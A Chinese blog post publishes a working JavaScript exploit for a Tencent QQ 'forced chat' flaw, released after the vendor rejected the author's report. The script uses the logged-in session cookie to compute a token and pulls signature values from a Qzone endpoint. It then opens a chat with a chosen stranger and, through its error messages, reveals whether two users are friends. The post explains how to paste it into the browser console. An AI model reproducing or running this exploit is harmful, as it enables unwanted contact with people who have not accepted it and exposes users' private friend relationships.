• 最新QQ强制聊天代码,同时可判断好友关系


         QQ强聊虽然早就变成了一个传说,但现在依然可以实现。

         小菜其实早就知道这个漏洞,但是一直没公布,前两天突然来兴致试了试,没想到漏洞依然存在。

         然后小菜跑到了乌云漏洞报告平台举报漏洞,但没想到被腾讯鲁莽的否认了,他竟然说漏洞不存在,漏洞不存在,那些截图是怎么来的。。。小菜辛辛苦苦写的漏洞原理,就这么无情的被拒绝了。。。

         小菜很失望,既然腾讯这么不负责任,那小菜就把漏洞发出来。

         漏洞的具体原理,小菜已经在乌云上阐述了《腾讯QQ强制聊天漏洞》,十分的详细,在这不多说。

         为了让读者更方便的利用此漏洞,小菜写了一个js脚本,脚本如下

      1 (function(exports){
      2 
      3   var chatVO = {
      4     //你的QQ
      5     yourQQ: "20737302",
      6     //你好友的QQ
      7     yourFQQ: "649374916",
      8     //女神的QQ
      9     targetQQ: "20618348",
     10     //女神好友的QQ
     11     targetFQQ: "649374916"
     12   };
     13   var config = {
     14     init: function(){
     15       var skey;
     16       skey = getCookie("skey") || getCookie("rv2") || "";
     17       function getCookie(name){
     18         var r = new RegExp("(?:^|;+|\s+)" + name + "=([^;]*)"), m = document.cookie.match(r);
     19         return !m ? "" : m[1];
     20       }
     21       function _DJB (str) {
     22         var hash = 5381;
     23         for (var i = 0, len = str.length; i < len; ++i)
     24             hash += (hash << 5) + str.charCodeAt(i);
     25         return hash & 2147483647
     26       };
     27       
     28       this.sigURL = this.sigURL.replace("{{t}}",_DJB(skey));
     29     },
     30     sigURL: "http://r.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin={{sender}}&to_uin={{receiver}}&g_tk={{t}}",
     31     chatURL: "tencent://message/?Menu=yes&uin={{sender}}&Service=112&SigT={{sigt}}&SigU={{sigu}}"
     32   };
     33   var util = {
     34     ajax: function(obj){
     35       var xmlHttp;
     36       
     37       if(obj.async === undefined){
     38         obj.async = true;
     39       }
     40       
     41       if(window.XMLHttpRequest){
     42           xmlHttp = new XMLHttpRequest();
     43       }else{
     44           xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
     45       }
     46       
     47       xmlHttp.onreadystatechange=function(){
     48         obj.callback(xmlHttp);
     49       };
     50       xmlHttp.open(obj.type,obj.url,obj.async);
     51       xmlHttp.send();
     52     }
     53   };
     54   var logic = {
     55     getSigU: function (sender,receiver){
     56       var sigu = "";
     57       util.ajax({
     58         url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
     59         type: "get",
     60         async: false,
     61         callback: function(xhr){
     62           if(xhr.readyState == 4){
     63             var html = xhr.responseText.replace(/[
    ]/g,"");
     64             if(/&SigU=/gmi.test(html)){
     65               sigu = html.split(/&SigU=/m)[1].split(/'/m)[0];
     66             }else{
     67               alert("你和你的好友,好友关系不成立!");
     68             }
     69           }
     70         }
     71       });
     72       
     73       return sigu;
     74     },
     75     getSigT: function (sender,receiver){
     76       var sigt = "";
     77       util.ajax({
     78         url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
     79         type: "get",
     80         async: false,
     81         callback: function(xhr){
     82           if(xhr.readyState == 4){
     83             var html = xhr.responseText.replace(/[
    ]/g,"");
     84             if(/&SigT=/gmi.test(html)){
     85               sigt = html.split(/&SigT=/m)[1].split(/&SigU=/m)[0];
     86             }else{
     87               alert("他和他的好友,好友关系不成立!");
     88             }
     89           }
     90         }
     91       });
     92       
     93       return sigt;
     94     },
     95     runChat: function (sender,sigu,sigt) {
     96       exports.location = config.chatURL.replace("{{sender}}",sender).replace("{{sigt}}",sigt).replace("{{sigu}}",sigu);
     97     }
     98   };
     99   
    100   config.init();
    101   
    102   var sigu = logic.getSigU(chatVO.yourQQ,chatVO.yourFQQ);
    103   var sigt = logic.getSigT(chatVO.targetFQQ,chatVO.targetQQ);
    104   
    105   logic.runChat(chatVO.targetQQ,sigu,sigt);
    106   
    107 })(this);
    View Code

         这个脚本,您只需要关注最顶部的四个参数,

    •      yourQQ: "20737302",
    •      yourFQQ: "649374916",
    •      targetQQ: "20618348",
    •      targetFQQ: "649374916"

         这四个参数缺一不可,而且必须都正确,读者可根据自己的实际情况填写,主要就是女神好友的QQ可能不知道(任意一个好友即可),猜吧!

         假如您不知道女神好友的QQ,乱填一个,会提示好友关系不成立,顺便还可以用这个提示测试两个人是不是好友,很实用吧!

       测试的时候忽略了一个问题:女神好友的QQ(targetFQQ),作为中间人,不能随便填,必须同时是你们两个的好友才可以。。。抱歉!!

         接下来说说怎么运行这个脚本。

         首先要用浏览器打开你的QQ空间,最好使用火狐和谷歌浏览器,然后保持QQ空间是登录状态。

         然后在QQ空间的选项卡旁边新建一个选项卡,输入网址:http://r.qzone.qq.com,按回车转到,发现是一片空白,这就对了。

         在浏览器上按F12打开控制台,把脚本粘贴到控制台中,运行即可。

         为什么要这么做呢。。。登录QQ空间是为了拿到有效的cookie,否则没办法访问腾讯接口,而新建一个选项卡是为了避免跨域问题,同时又可以与登录的QQ空间共享cookie。

         其他就没什么了,快动手试试吧!

  • 相关阅读:
    纯CSS制作二级导航
    用python写MapReduce函数——以WordCount为例
    hadoop安装配置——伪分布模式
    字符串中最长不重合子串长度
    从30岁到35岁:为你的生命多积累一些厚度
    Hbase快速开始——shell操作
    5句话
    []leetcode]Unique Paths II
    [leetcode]Gray Code
    linux 命令案例学习——文件搜索
  • 原文地址:https://www.cnblogs.com/iyangyuan/p/3810419.html
Copyright © 2020-2023  润新知